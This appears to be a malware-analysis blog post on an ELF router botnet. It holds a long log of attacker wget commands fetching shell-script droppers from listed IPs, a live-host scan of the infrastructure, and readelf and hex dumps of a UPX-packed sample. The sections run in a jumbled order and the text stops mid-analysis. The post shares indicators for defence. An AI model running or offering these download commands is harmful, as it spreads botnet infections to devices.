2016-01-07 02:32:13 | wget1 hxxp:// 80.82.64.177/fucks2 . sh
2016-01-07 02:27:28 | busybox wget hxxp:// 80.82.64.177/fucks . sh
2016-01-07 02:27:28 | wget1 hxxp:// 80.82.64.177/fucks2 . sh
2016-01-07 00:14:11 | wget hxxp:// 192.227.177.127/gtop . sh
2016-01-06 17:20:08 | wget hxxp:// 208.67.1.3/DOGDICKS/Binarys . sh
2016-01-06 17:09:58 | wget hxxp:// 208.67.1.3/DOGDICKS/Binarys . sh
2016-01-06 16:54:11 | wget hxxp:// 208.67.1.142/DOGDICKS/Binarys . sh
2016-01-06 16:45:04 | wget hxxp:// 208.67.1.3/DOGDICKS/Binarys . sh
2016-01-06 16:35:27 | wget hxxp:// 208.67.1.3/DOGDICKS/Binarys . sh
2016-01-06 16:06:23 | wget hxxp:// 208.89.211.141/cocks . sh-O /tmp/cocks . sh
2016-01-06 14:13:15 | wget hxxp:// 192.227.177.127/gtop . sh
2016-01-06 13:27:48 | wget hxxp:// 208.67.1.3/DOGDICKS/Binarys . sh
2016-01-06 13:18:09 | wget hxxp:// 208.67.1.3/DOGDICKS/Binarys . sh
2016-01-06 10:41:35 | wget hxxp:// 192.227.177.127/gtop . sh
2016-01-06 09:56:04 | wget hxxp:// "freedomstress.com"/test/Binarys . sh
2016-01-06 09:41:12 | wget hxxp:// 208.67.1.3/DOGDICKS/Binarys . sh
2016-01-06 09:31:28 | wget hxxp:// 208.67.1.3/DOGDICKS/Binarys . sh
2016-01-06 08:31:23 | wget hxxp:// 208.67.1.3/DOGDICKS/Binarys . sh
2016-01-06 08:21:48 | wget hxxp:// 208.67.1.3/DOGDICKS/Binarys . sh
2016-01-06 07:40:31 | wget hxxp:// 94.102.53.144/bin . sh
2016-01-06 07:23:01 | wget -q hxxp:// 198.23.238.251/gb . sh
2016-01-06 07:10:37 | wget hxxp:// 94.102.53.144/bin . sh
2016-01-06 05:49:41 | wget hxxp:// 208.67.1.3/DOGDICKS/Binarys . sh
2016-01-06 05:40:06 | wget hxxp:// 208.67.1.3/DOGDICKS/Binarys . sh
2016-01-06 05:29:56 | wget -q hxxp:// 199.180.133.214/Sharky/gb . sh
2016-01-06 05:29:55 | wget -q hxxp:// 199.180.133.214/Sharky/gb . sh
2016-01-06 05:23:13 | wget hxxp:// 208.67.1.3/DOGDICKS/Binarys . sh
2016-01-06 05:13:42 | wget hxxp:// 208.67.1.3/DOGDICKS/Binarys . sh
2016-01-06 04:51:28 | wget hxxp:// 208.67.1.3/DOGDICKS/Binarys . sh
2016-01-06 04:41:46 | wget hxxp:// 208.67.1.3/DOGDICKS/Binarys . sh
2016-01-06 04:20:39 | wget hxxp:// 208.67.1.3/DOGDICKS/Binarys . sh
2016-01-06 03:22:11 | wget hxxp:// 208.67.1.3/DOGDICKS/Binarys . sh
2016-01-06 03:21:23 | wget hxxp:// 5.196.249.163/IRC/loldongs . sh
2016-01-06 03:12:31 | wget hxxp:// 208.67.1.3/DOGDICKS/Binarys . sh
2016-01-06 02:12:26 | wget hxxp:// 79.143.181.158/gtop . sh
2016-01-06 02:03:21 | wget hxxp:// 208.67.1.3/DOGDICKS/Binarys . sh
2016-01-06 01:53:42 | wget hxxp:// 208.67.1.3/DOGDICKS/Binarys . sh
2016-01-06 01:41:14 | wget hxxp:// 94.102.53.144/bin . sh
2016-01-06 01:28:19 | wget hxxp:// 94.102.53.144/bin . sh
2016-01-06 01:18:00 | wget hxxp:// 208.67.1.3/DOGDICKS/Binarys . sh
2016-01-06 01:15:55 | wget hxxp:// 79.143.181.158/gtop . sh
2016-01-06 01:08:28 | wget hxxp:// 208.67.1.3/DOGDICKS/Binarys . sh
2016-01-05 23:10:08 | wget -q hxxp:// 198.23.238.251/gb . sh
2016-01-05 21:29:35 | wget hxxp:// 208.89.211.141/cocks . sh-O /tmp/cocks . sh
2016-01-05 20:59:37 | wget hxxp:// 208.89.211.141/cocks . sh-O /tmp/cocks . sh
2016-01-05 20:46:16 | wget hxxp:// 94.102.53.144/bin . sh
2016-01-05 20:39:07 | wget hxxp:// 94.102.53.144/bin . sh
2016-01-05 16:04:50 | wget hxxp:// 79.143.181.158/gtop . sh
2016-01-05 15:34:17 | wget hxxp:// 79.143.181.158/gtop . sh
2016-01-05 15:09:05 | wget hxxp:// 79.143.181.158/gtop . sh
2016-01-05 14:41:42 | wget hxxp:// 208.67.1.3/DOGDICKS/Binarys . sh
2016-01-05 14:31:48 | wget hxxp:// 208.67.1.3/DOGDICKS/Binarys . sh
2016-01-05 12:42:46 | wget hxxp:// 208.67.1.3/DOGDICKS/Binarys . sh
2016-01-05 12:33:19 | wget hxxp:// 208.67.1.3/DOGDICKS/Binarys . sh
2016-01-05 12:01:48 | wget hxxp:// 79.143.181.158/gtop . sh
2016-01-05 11:59:21 | wget hxxp:// 208.67.1.3/DOGDICKS/Binarys . sh
2016-01-05 11:53:10 | wget hxxp:// 192.227.177.120/gtop . sh
2016-01-05 11:49:54 | wget hxxp:// 208.67.1.3/DOGDICKS/Binarys . sh
2016-01-05 11:25:12 | wget hxxp:// 192.227.177.120/gtop . sh
2016-01-05 10:35:24 | wget hxxp:// 192.243.109.128/gtop . sh
2016-01-05 10:31:15 | wget hxxp:// 208.67.1.3/DOGDICKS/Binarys . sh
2016-01-05 10:21:44 | wget hxxp:// 208.67.1.3/DOGDICKS/Binarys . sh
2016-01-05 10:15:52 | wget hxxp:// 192.243.109.128/gtop . sh
2016-01-05 09:59:50 | wget hxxp:// 192.227.177.120/gtop . sh
2016-01-05 09:33:56 | wget hxxp:// 192.227.177.120/gtop . sh
2016-01-05 08:32:41 | wget -q hxxp:// 199.180.133.214/Sharky/gb . sh
2016-01-05 08:32:39 | wget -q hxxp:// 199.180.133.214/Sharky/gb . sh
2016-01-05 06:50:33 | wget hxxp:// 192.227.177.120/gtop . sh
2016-01-05 06:19:51 | wget hxxp:// 192.227.177.120/gtop . sh
2016-01-05 05:44:13 | wget hxxp:// 94.102.53.144/bin . sh
2016-01-05 05:39:30 | wget hxxp:// 208.67.1.3/DOGDICKS/Binarys . sh
2016-01-05 05:29:53 | wget hxxp:// 208.67.1.3/DOGDICKS/Binarys . sh
2016-01-05 04:56:17 | wget hxxp:// 208.67.1.3/DOGDICKS/Binarys . sh
2016-01-05 04:53:55 | wget hxxp:// 192.227.177.120/gtop . sh
2016-01-05 04:46:35 | wget hxxp:// 208.67.1.3/DOGDICKS/Binarys . sh
2016-01-05 04:05:33 | wget hxxp:// 208.67.1.3/DOGDICKS/Binarys . sh
2016-01-05 03:55:51 | wget hxxp:// 208.67.1.3/DOGDICKS/Binarys . sh
2016-01-05 03:08:24 | wget hxxp:// 208.67.1.3/DOGDICKS/Binarys . sh
2016-01-05 02:58:39 | wget hxxp:// 208.67.1.3/DOGDICKS/Binarys . sh
2016-01-05 02:54:58 | wget hxxp:// 208.67.1.40/bin . sh
2016-01-05 02:29:16 | wget hxxp:// 208.67.1.3/DOGDICKS/Binarys . sh
2016-01-05 02:19:36 | wget hxxp:// 208.67.1.3/DOGDICKS/Binarys . sh
2016-01-05 01:54:59 | wget hxxp:// 192.227.177.120/gtop . sh
2016-01-05 01:21:44 | wget hxxp:// 208.67.1.3/DOGDICKS/Binarys . sh
2016-01-05 00:42:52 | wget hxxp:// 192.227.177.120/gtop . sh
2016-01-05 00:26:00 | wget hxxp:// 94.102.53.144/bin . sh
2016-01-05 00:18:06 | wget hxxp:// 94.102.53.144/bin . sh
2016-01-04 23:58:53 | wget hxxp:// 192.227.177.120/gtop . sh
2016-01-04 23:52:47 | wget hxxp:// 192.227.177.120/gtop . sh
2016-01-04 23:25:16 | wget hxxp:// 192.227.177.120/gtop . sh
2016-01-04 23:19:40 | wget hxxp:// 208.89.211.141/cocks . sh-O /tmp/cocks . sh
2016-01-04 23:02:18 | wget hxxp:// 208.67.1.3/DOGDICKS/Binarys . sh
2016-01-04 22:52:35 | wget hxxp:// 208.67.1.3/DOGDICKS/Binarys . sh
2016-01-04 22:42:39 | wget hxxp:// 192.227.177.120/gtop . sh
2016-01-04 22:35:24 | wget hxxp:// 192.227.177.120/gtop . sh
2016-01-04 22:34:48 | wget hxxp:// 208.89.211.141/cocks . sh-O /tmp/cocks . sh
2016-01-04 22:17:31 | wget hxxp:// 208.89.211.141/cocks . sh-O /tmp/cocks . sh
2016-01-04 21:05:28 | wget hxxp:// 23.94.29.218/run . sh
2016-01-04 20:53:42 | wget hxxp:// 192.227.177.120/gtop . sh
2016-01-04 20:13:45 | wget hxxp:// 45.32.232.197/gay/bin . sh
2016-01-04 19:56:29 | wget hxxp:// 45.32.232.197/gay/bin . sh
2016-01-04 19:20:14 | wget hxxp:// 192.227.177.120/gtop . sh
2016-01-04 18:56:34 | wget hxxp:// 192.227.177.120/gtop . sh
2016-01-04 17:38:27 | wget hxxp:// 192.227.177.120/gtop . sh
2016-01-04 17:29:49 | wget hxxp:// 192.227.177.120/gtop . sh
2016-01-04 17:01:19 | wget hxxp:// 23.94.29.218/run . sh
2016-01-04 16:34:40 | wget hxxp:// 192.227.177.120/gtop . sh
2016-01-04 16:06:50 | wget hxxp:// 192.227.177.120/gtop . sh
2016-01-04 15:55:08 | wget hxxp:// 192.227.177.120/gtop . sh
2016-01-04 15:25:32 | wget hxxp:// 192.227.177.120/gtop . sh
2016-01-04 14:57:28 | wget hxxp:// 192.227.177.120/gtop . sh
2016-01-04 11:01:49 | wget hxxp:/64.20.33.134/gtop . sh
2016-01-04 09:11:33 | wget hxxp:// 45.32.232.197/gay/bin . sh
2016-01-04 08:38:44 | wget hxxp:// 208.67.1.3/DOGDICKS/Binarys . sh
2016-01-04 08:29:09 | wget hxxp:// 208.67.1.3/DOGDICKS/Binarys . sh
2016-01-04 08:26:16 | wget hxxp:// 45.32.232.197/gay/bin . sh
2016-01-04 08:16:25 | wget hxxp:// 94.102.53.144/bin . sh
2016-01-04 07:50:23 | wget hxxp:// 94.102.53.144/bin . sh
2016-01-04 07:36:44 | wget -q hxxp:// 199.180.133.214/Sharky/gb . sh
2016-01-04 07:36:44 | wget -q hxxp:// 199.180.133.214/Sharky/gb . sh
2016-01-04 07:13:31 | wget hxxp:// 208.67.1.3/DOGDICKS/Binarys . sh
2016-01-04 07:03:49 | wget hxxp:// 208.67.1.3/DOGDICKS/Binarys . sh
2016-01-04 03:39:49 | wget hxxp:// 208.67.1.3/DOGDICKS/Binarys . sh
2016-01-04 03:29:53 | wget hxxp:// 208.67.1.3/DOGDICKS/Binarys . sh
2016-01-04 02:34:18 | wget hxxp:// 94.102.53.144/bin . sh
2016-01-04 02:28:42 | wget hxxp:// 208.67.1.3/DOGDICKS/Binarys . sh
2016-01-04 02:18:48 | wget hxxp:// 208.67.1.3/DOGDICKS/Binarys . sh
2016-01-04 02:03:32 | wget hxxp:// 94.102.53.144/bin . sh
2016-01-04 01:21:29 | wget hxxp:// 192.227.177.120/gtop . sh
2016-01-04 00:52:14 | wget hxxp:// 192.227.177.120/gtop . sh
2016-01-03 23:27:40 | wget hxxp:// 192.227.177.120/gtop . sh
2016-01-03 23:25:27 | wget hxxp:// 94.102.53.144/bin . sh
2016-01-03 23:16:17 | wget hxxp:// 94.102.53.144/bin . sh
2016-01-03 23:13:08 | wget hxxp:// 192.227.177.120/gtop . sh
2016-01-03 23:01:48 | wget hxxp:// 192.227.177.120/gtop . sh
2016-01-03 21:49:37 | wget hxxp:// 192.227.177.120/gtop . sh
2016-01-03 21:32:14 | wget hxxp:// 192.227.177.120/gtop . sh
2016-01-03 21:26:59 | wget hxxp:// 192.227.177.120/gtop . sh
2016-01-03 21:23:59 | wget hxxp:// 192.227.177.120/gtop . sh
2016-01-03 20:58:00 | wget hxxp:// 192.227.177.120/gtop . sh
2016-01-03 20:32:31 | wget hxxp:// 192.227.177.120/gtop . sh
2016-01-03 20:18:47 | wget hxxp:// 192.227.177.120/gtop . sh
2016-01-03 19:17:24 | wget hxxp:// 192.227.177.120/gtop . sh
2016-01-03 19:05:51 | wget hxxp:// 192.227.177.120/gtop . sh
2016-01-03 18:51:01 | wget hxxp:// 192.227.177.120/gtop . sh
2016-01-03 18:20:47 | wget hxxp:// 192.227.177.120/gtop . sh
2016-01-03 12:40:30 | wget -q hxxp:// 208.67.1.165/DOGDICKS/Binarys . sh
2016-01-03 12:14:32 | wget hxxp:// 208.67.1.3/DOGDICKS/Binarys . sh
2016-01-03 12:04:56 | wget hxxp:// 208.67.1.3/DOGDICKS/Binarys . sh
2016-01-03 10:42:45 | wget hxxp:// 192.227.177.120/gtop . sh
2016-01-03 10:31:57 | wget hxxp:// 94.102.53.144/bin . sh
2016-01-03 10:20:26 | wget hxxp:// 94.102.53.144/bin . sh
2016-01-03 09:25:51 | wget hxxp:// 208.67.1.40/bin . sh
2016-01-03 09:03:19 | wget -q hxxp:// 198.23.238.203/tel . sh
2016-01-03 08:31:45 | wget hxxp:// 94.102.53.144/bin . sh
2016-01-03 08:11:11 | wget hxxp:// 208.67.1.3/DOGDICKS/Binarys . sh
2016-01-03 08:01:24 | wget hxxp:// 208.67.1.3/DOGDICKS/Binarys . sh
2016-01-03 07:57:40 | wget hxxp:// 94.102.53.144/bin . sh
2016-01-03 07:17:10 | wget -q hxxp:// 199.180.133.214/Sharky/gb . sh
2016-01-03 07:17:10 | wget -q hxxp:// 199.180.133.214/Sharky/gb . sh
2016-01-03 06:31:16 | wget hxxp:// freedomstress.com/test/Binarys . sh
2016-01-03 06:12:38 | wget -q hxxp:// 198.23.238.203/tel . sh
2016-01-03 06:01:00 | wget -q hxxp:// 198.23.238.203/tel . sh
2016-01-03 05:55:18 | wget hxxp:// freedomstress.com/test/Binarys . sh
2016-01-03 05:20:40 | wget hxxp:// 192.227.177.120/gtop . sh
2016-01-03 05:06:29 | wget hxxp:// 94.102.53.144/bin . sh
2016-01-03 04:59:35 | wget hxxp:// 192.227.177.120/gtop . sh
2016-01-03 04:57:56 | wget -q hxxp:// 198.23.238.203/tel . sh
2016-01-03 04:52:15 | wget hxxp:// 94.102.53.144/bin . sh
2016-01-03 04:23:22 | wget hxxp:// 192.227.177.120/gtop . sh
2016-01-03 04:18:00 | wget hxxp:// 192.227.177.120/gtop . sh
2016-01-03 04:16:34 | wget hxxp:// 94.102.53.144/bin . sh
2016-01-03 03:55:01 | wget hxxp:// 192.227.177.120/gtop . sh
2016-01-03 03:49:30 | wget hxxp:// 192.227.177.120/gtop . sh
2016-01-03 03:32:56 | wget hxxp:// 192.227.177.120/gtop . sh
2016-01-03 03:25:28 | wget 93.171.158.242/rget . sh
2016-01-03 03:20:45 | wget hxxp:// 192.227.177.120/gtop . sh
2016-01-03 02:48:19 | wget hxxp:// 192.227.177.120/gtop . sh
2016-01-03 02:37:05 | wget hxxp:// freedomstress.com/test/Binarys . sh
2016-01-03 02:16:46 | wget hxxp:// 192.227.177.120/gtop . sh
2016-01-03 01:41:23 | wget hxxp:// 94.102.53.144/bin . sh
2016-01-03 01:40:33 | wget hxxp:// 208.67.1.3/DOGDICKS/Binarys . sh
2016-01-03 01:07:29 | wget hxxp:// 94.102.53.144/bin . sh
2016-01-03 00:14:45 | wget hxxp:// 208.67.1.3/DOGDICKS/Binarys . sh
2016-01-03 00:13:17 | wget hxxp:// 208.67.1.40/bin . sh
2016-01-03 00:05:15 | wget hxxp:// 208.67.1.3/DOGDICKS/Binarys . sh
2016-01-02 23:16:45 | wget hxxp:// 94.102.53.144/bin . sh
2016-01-02 22:59:48 | wget hxxp:// 94.102.53.144/bin . sh
2016-01-02 17:36:24 | wget ftx://185.62.190.156/gtop . sh
2016-01-02 17:29:21 | wget hxxp:// 208.67.1.3/DOGDICKS/Binarys . sh
2016-01-02 17:28:24 | wget ftx://185.62.190.156/gtop . sh
2016-01-02 17:19:41 | wget hxxp:// 208.67.1.3/DOGDICKS/Binarys . sh
2016-01-02 14:57:11 | wget hxxp:// 208.67.1.3/DOGDICKS/Binarys . sh
2016-01-02 14:47:23 | wget hxxp:// 208.67.1.3/DOGDICKS/Binarys . sh
2016-01-02 11:36:27 | wget hxxp:// freedomstress.com/test/Binarys . sh
2016-01-02 11:18:28 | wget hxxp:// 94.102.53.144/bin . sh
2016-01-02 11:03:35 | wget hxxp:// 94.102.53.144/bin . sh
2016-01-02 09:17:34 | wget -q hxxp:// 199.180.133.214/Sharky/gb . sh
2016-01-02 09:17:33 | wget -q hxxp:// 199.180.133.214/Sharky/gb . sh
2016-01-02 08:59:56 | wget hxxp:// 94.102.53.144/bin . sh
2016-01-02 08:42:30 | wget hxxp:// 94.102.53.144/bin . sh
2016-01-02 08:17:15 | wget -q hxxp:// 198.23.238.203/tel . sh
2016-01-02 08:12:53 | wget hxxp:// 94.102.53.144/bin . sh
2016-01-02 07:55:07 | wget -q hxxp:// 198.23.238.203/tel . sh
2016-01-02 07:39:18 | wget hxxp:// 94.102.53.144/bin . sh
2016-01-02 07:28:20 | wget hxxp:// 94.102.53.144/bin . sh
2016-01-02 07:10:25 | wget hxxp:// 94.102.53.144/bin . sh
2016-01-02 07:07:38 | wget -q hxxp:// 198.23.238.203/tel . sh
2016-01-02 06:27:05 | wget hxxp:// 208.67.1.3/DOGDICKS/Binarys . sh
2016-01-02 06:17:35 | wget hxxp:// 208.67.1.3/DOGDICKS/Binarys . sh
2016-01-02 04:40:30 | wget hxxp:// 94.102.53.144/bin . sh
2016-01-02 04:36:11 | wget hxxp:// 208.67.1.3/DOGDICKS/Binarys . sh
2016-01-02 04:32:52 | wget hxxp:// 94.102.53.144/bin . sh
2016-01-02 04:26:31 | wget hxxp:// 185.62.190.156/gtop . sh
2016-01-02 04:16:45 | wget hxxp:// 94.102.53.144/bin . sh
2016-01-02 04:05:06 | wget hxxp:// 208.67.1.3/DOGDICKS/Binarys . sh
2016-01-02 03:55:00 | wget hxxp:// 208.67.1.3/DOGDICKS/Binarys . sh
2016-01-02 03:46:59 | wget hxxp:// 198.12.97.93/Bot/stun . sh
2016-01-02 03:08:46 | wget -q hxxp:// 199.180.133.214/Sharky/gb . sh
2016-01-02 03:08:44 | wget -q hxxp:// 199.180.133.214/Sharky/gb . sh
2016-01-02 00:47:56 | wget hxxp:// 208.67.1.3/DOGDICKS/Binarys . sh
2016-01-02 00:25:43 | wget hxxp:// 208.67.1.3/DOGDICKS/Binarys . sh
2016-01-02 00:16:05 | wget hxxp:// 208.67.1.3/DOGDICKS/Binarys . sh
2016-01-01 23:31:25 | wget hxxp:// 185.62.190.156/gtop . sh
2016-01-01 23:11:10 | wget hxxp:// 208.67.1.3/DOGDICKS/Binarys . sh
2016-01-01 23:01:22 | wget hxxp:// 208.67.1.3/DOGDICKS/Binarys . sh
2016-01-01 22:43:16 | wget hxxp:// 208.67.1.3/DOGDICKS/Binarys . sh
2016-01-01 22:37:39 | wget hxxp:// 185.62.190.156/gtop . sh
2016-01-01 22:33:30 | wget hxxp:// 208.67.1.3/DOGDICKS/Binarys . sh
2016-01-01 22:06:00 | wget hxxp:// 185.62.190.156/gtop . sh
2016-01-01 19:27:39 | wget hxxp:// 74.118.193.239/bin . sh
2016-01-01 10:10:31 | wget hxxp:// 94.102.53.144/bin . sh
2016-01-01 09:59:17 | wget hxxp:// 94.102.53.144/bin . sh
2016-01-01 09:20:34 | wget -q hxxp:// 198.23.238.203/tel . sh
2016-01-01 08:55:03 | wget -q hxxp:// 198.23.238.203/tel . sh
2016-01-01 08:24:38 | wget hxxp:// 185.62.190.156/gtop . sh
2016-01-01 08:20:48 | wget hxxp:// 94.102.53.144/bin . sh
2016-01-01 08:13:49 | wget hxxp:// 94.102.53.144/bin . sh
2016-01-01 08:08:20 | wget hxxp:// 185.62.190.156/gtop . sh
2016-01-01 07:04:44 | wget hxxp:// 185.62.190.156/gtop . sh
2016-01-01 06:54:15 | wget hxxp:// 185.62.190.156/gtop . sh
2016-01-01 06:44:01 | wget hxxp:// 94.102.53.144/bin . sh
2016-01-01 06:30:49 | wget hxxp:// 94.102.53.144/bin . sh
2016-01-01 06:24:57 | wget hxxp:// 185.62.190.156/gtop . sh
2016-01-01 06:00:52 | wget hxxp:// 185.62.190.156/gtop . sh
2016-01-01 05:08:34 | wget ftx:// 185.62.190.156/gtop . sh
2016-01-01 04:36:17 | wget hxxp:// 185.62.190.156/gtop . sh
2016-01-01 04:24:38 | wget hxxp:// 94.102.53.144/bin . sh
2016-01-01 04:10:30 | wget hxxp:// 94.102.53.144/bin . sh
2016-01-01 03:26:20 | wget hxxp:// 89.248.162.171/gtop . sh
2016-01-01 02:45:30 | wget hxxp:// 208.89.211.111/bin . sh
2016-01-01 02:40:44 | wget -q hxxp:// 199.180.133.214/Sharky/gb . sh
2016-01-01 02:40:43 | wget -q hxxp:// 199.180.133.214/Sharky/gb . sh
2016-01-01 02:25:46 | wget hxxp:// 94.102.53.144/bin . sh
2016-01-01 02:18:07 | wget hxxp:// 94.102.53.144/bin . sh
2016-01-01 02:03:22 | wget -q hxxp:// 198.23.238.203/tel . sh
2016-01-01 01:43:22 | wget hxxp:// 208.89.211.111/bin . sh
2016-01-01 01:26:39 | wget -q hxxp:// 198.23.238.203/tel . sh
2016-01-01 00:48:23 | wget hxxp:// 208.89.211.111/bin . sh
2016-01-01 00:31:20 | wget -q hxxp:// 198.23.238.203/tel . sh
2016-01-01 00:25:53 | wget ftx:// 208.67.1.52/Binarys . sh
2016-01-01 00:17:39 | wget hxxp:// 185.62.190.156/gtop . sh

6. Hosts up checked result (42 is up)

-----------------------------------------------------------------
UpChecked: 70 IP addresses (42 hosts up) scanned in 24.34 seconds
Sun Feb  7 12:37:12 #MalwareMustDie!
-----------------------------------------------------------------
Scan report for "biz.kcscleaning.net" (107.172.23.133)
    Host is up, received reset ttl 48 (0.14s latency).
Scan report for "212.ip-158-69-205.net" (158.69.205.212)
    Host is up, received echo-reply ttl 48 (0.22s latency).
Scan report for "211.ip-158-69-217.net" (158.69.217.211)
    Host is up, received echo-reply ttl 48 (0.22s latency).
Scan report for 162.208.8.203
    Host is up, received echo-reply ttl 53 (0.19s latency).
Scan report for 162.213.195.144
    Host is up, received echo-reply ttl 50 (0.16s latency).
Scan report for 173.208.196.202
    Host is up, received echo-reply ttl 49 (0.17s latency).
Scan report for 185.112.249.111
    Host is up, received echo-reply ttl 49 (0.28s latency).
Scan report for "no.rdns.sharkservers.net" (185.112.249.26)
    Host is up, received echo-reply ttl 49 (0.27s latency).
Scan report for 185.130.5.200
    Host is up, received timestamp-reply ttl 49 (0.28s latency).
Scan report for 185.17.30.239
    Host is up, received echo-reply ttl 50 (0.26s latency).
Scan report for "ip-9-253.dataclub.biz" (185.29.9.253)
    Host is up, received echo-reply ttl 47 (0.30s latency).
Scan report for "web.minsupport.net" (185.52.2.114)
    Host is up, received echo-reply ttl 52 (0.29s latency).
Scan report for "cacti.s42.voby.se" (185.62.189.11)
    Host is up, received echo-reply ttl 50 (0.26s latency).
Scan report for "www.AlphaNineVPS.com" (192.227.170.67)
    Host is up, received echo-reply ttl 46 (0.20s latency).
Scan report for 192.243.109.128
    Host is up, received echo-reply ttl 53 (0.20s latency).
Scan report for "198-12-97-67-host.enwebhost.net" (198.12.97.67)
    Host is up, received echo-reply ttl 51 (0.18s latency).
Scan report for "198-23-238-203-host.enwebhost.net" (198.23.238.203)
    Host is up, received echo-reply ttl 51 (0.17s latency).
Scan report for "198-23-238-215-host.enwebhost.net" (198.23.238.215)
    Host is up, received echo-reply ttl 51 (0.17s latency).
Scan report for "198-23-238-251-host.enwebhost.net" (198.23.238.251)
    Host is up, received echo-reply ttl 51 (0.17s latency).
Scan report for "watchhere.docadvices.com" (199.180.133.178)
    Host is up, received echo-reply ttl 46 (0.15s latency).
Scan report for "mail10.sipanhost.com" (199.231.184.237)
    Host is up, received echo-reply ttl 49 (0.22s latency).
Scan report for "lht194.cowanci.com" (206.72.207.194)
    Host is up, received echo-reply ttl 49 (0.20s latency).
Nmap scan report for 208.67.1.142
    Host is up, received echo-reply ttl 48 (0.19s latency).
Scan report for "sonypaio.com" (208.73.207.236)
    Host is up, received echo-reply ttl 49 (0.26s latency).
Scan report for "server6.lega-helplineservice.com" (208.89.211.111)
    Host is up, received echo-reply ttl 46 (0.18s latency).
Scan report for "server.iceybinary.com" (216.158.225.7)
    Host is up, received echo-reply ttl 51 (0.12s latency).
Scan report for 218.104.49.211
    Host is up, received echo-reply ttl 47 (0.091s latency).
Scan report for 23.227.163.110
    Host is up, received echo-reply ttl 55 (0.15s latency).
Scan report for "host142-136-14-31.serverdedicati.aruba.it" (31.14.136.142)
    Host is up, received echo-reply ttl 47 (0.31s latency).
Scan report for "45.32.232.197.vultr.com" (45.32.232.197)
    Host is up, received echo-reply ttl 48 (0.38s latency).
Scan report for 46.101.71.240
    Host is up, received echo-reply ttl 48 (0.28s latency).
Scan report for "test.interserver.net" (64.20.33.134)
    Host is up, received echo-reply ttl 49 (0.21s latency).
Scan report for 80.82.64.177
    Host is up, received echo-reply ttl 52 (0.35s latency).
Scan report for "no-reverse-dns-configured.com" (89.248.166.131)
    Host is up, received reset ttl 52 (0.36s latency).
Scan report for 94.102.53.144
    Host is up, received echo-reply ttl 52 (0.37s latency).
Scan report for "no-reverse-dns-configured.com" (94.102.63.136)
    Host is up, received echo-reply ttl 52 (0.34s latency).

Notes:

Thank you for the friends who contributed much for this data, and
the willing to share to prevent infections getting out of control.
God bless us all.

#MalwareMustDie!

Fear thou not; 
for I [am] with thee: be not dismayed; 
for I [am] thy God: I will strengthen thee; 
yea, I will help thee; 
yea, I will uphold thee with the right hand of my righteousness.

☩Isaiah 41:10  

Latest UPDATE incident of this threat is-->[link]

Background

I received the report of the host in Google cloud network is serving ELF malware:

{
"ip": "130.211.127.186",
"hostname": "186.127.211.130.bc.googleusercontent.com",
"prefix": "130.211.0.0/16",
"org": "AS15169 Google Inc.",
"city": "Mountain View",
"region": "California",
"country": "USA",
"loc": "37.4192,-122.0574",
"postal": "94043"
}

ELF botnet infecting routers is a bad thing, but abusing Google cloud is another bad thing. Not to mention the utilization of much innocent hacked servers as CNC & the many mis-use of the anime features for badness.
After receiving several reports on incidents and requests on the topic I decided to write this post as awareness and indicator reference, along with some SLAPS! to the malware coder and actors behind this threat, which are linked to the previous blog post in-->here.

The first slap: First look

These are ELF malware of this post, let's pick one and see how it looks in the first sight:

The binary structure and view:

The readelf summarizes its header is as follows,

ELF Header:
  Magic:   7f 45 4c 46 01 01 01 03 00 00 00 00 00 00 00 00
  Class:                             ELF32
  Data:                              2's complement, little endian
  Version:                           1 (current)
  OS/ABI:                            UNIX - Linux
  ABI Version:                       0
  Type:                              EXEC (Executable file)
  Machine:                           Intel 80386
  Version:                           0x1
  Entry point address:               0xc086b8
  Start of program headers:          52 (bytes into file)
  Start of section headers:          0 (bytes into file)
  Flags:                             0x0
  Size of this header:               52 (bytes)
  Size of program headers:           32 (bytes)
' Number of program headers:         2 '
  Size of section headers:           40 (bytes)
  Number of section headers:         0
  Section header string table index: 0

'Program Headers:'
  Type           Offset   VirtAddr   PhysAddr   FileSiz MemSiz  Flg Align
' LOAD           0x000000 0x00c01000 0x00c01000 0x08828 0x08828 R E 0x1000   '
' LOAD           0x000448 0x0805f448 0x0805f448 0x00000 0x00000 RW  0x1000   '

There are no sections in this file.
There are no sections in this file.
There is no dynamic section in this file.
There are no relocations in this file.
There are no unwind sections in this file.
No version information found in this file.

pty:     file format elf32-i386
pty
architecture: i386, flags 0x00000102:
EXEC_P, D_PAGED
start address 0x00c086b8

Program Header:
'   LOAD off    0x00000000 vaddr 0x00c01000 paddr 0x00c01000 align 2**12'
         filesz 0x00008828 memsz 0x00008828 flags r-x
'   LOAD off    0x00000448 vaddr 0x0805f448 paddr 0x0805f448 align 2**12'
         filesz 0x00000000 memsz 0x00000000 flags rw- 

Sections:
Idx Name          Size      VMA       LMA       File off  Algn
SYMBOL TABLE:
no symbols

The second slap: Recognizing the packer

First, this is a packed binary, by UPX, this is the easy way to recognize it since so many trick are used for camouflage the this good known packer. See again the Program Header part;

    LOAD off    0x00000000 vaddr 0x00c01000 paddr 0x00c01000 align 2**12
         filesz 0x00008840 memsz 0x00008840 flags r-x
    LOAD off    0x000003a8 vaddr 0x0805f3a8 paddr 0x0805f3a8 align 2**12
         filesz 0x00000000 memsz 0x00000000 flags rw-

> x 0xaa@"0x000";x 0xaa@"0x00c01000"
- offset -   0 1  2 3  4 5  6 7  8 9  A B  C D  E F  0123456789ABCDEF
0x00000000  7f45 4c46 0101 0103 0000 0000 0000 0000  .ELF............
0x00000010  0200 0300 0100 0000 d086 c000 3400 0000  ............4...
0x00000020  0000 0000 0000 0000 3400 2000 0200 2800  ........4. ...(.
0x00000030  0000 0000 0100 0000 0000 0000 0010 c000  ................
0x00000040  0010 c000 4088 0000 4088 0000 0500 0000  ....@...@.......
0x00000050  0010 0000 0100 0000 a803 0000 a8f3 0508  ................
0x00000060  a8f3 0508 0000 0000 0000 0000 0600 0000  ................
0x00000070  0010 0000 2efa 01da 0a00 0000 7811 0d0c  ............x...
0x00000080  0000 0000 139a 0100 139a 0100 9400 0000  ................
0x00000090  5400 0000 0e00 0000 1803 003f 91d0 6b8f  T..........?..k.
0x000000a0  492f fa6a e407 9a89 5c84                 I/.j....\.
- offset -   0 1  2 3  4 5  6 7  8 9  A B  C D  E F  0123456789ABCDEF
0x00c01000  7f45 4c46 0101 0103 0000 0000 0000 0000  .ELF............
0x00c01010  0200 0300 0100 0000 d086 c000 3400 0000  ............4...
0x00c01020  0000 0000 0000 0000 3400 2000 0200 2800  ........4. ...(.
0x00c01030  0000 0000 0100 0000 0000 0000 0010 c000  ................
0x00c01040  0010 c000 4088 0000 4088 0000 0500 0000  ....@...@.......
0x00c01050  0010 0000 0100 0000 a803 0000 a8f3 0508  ................
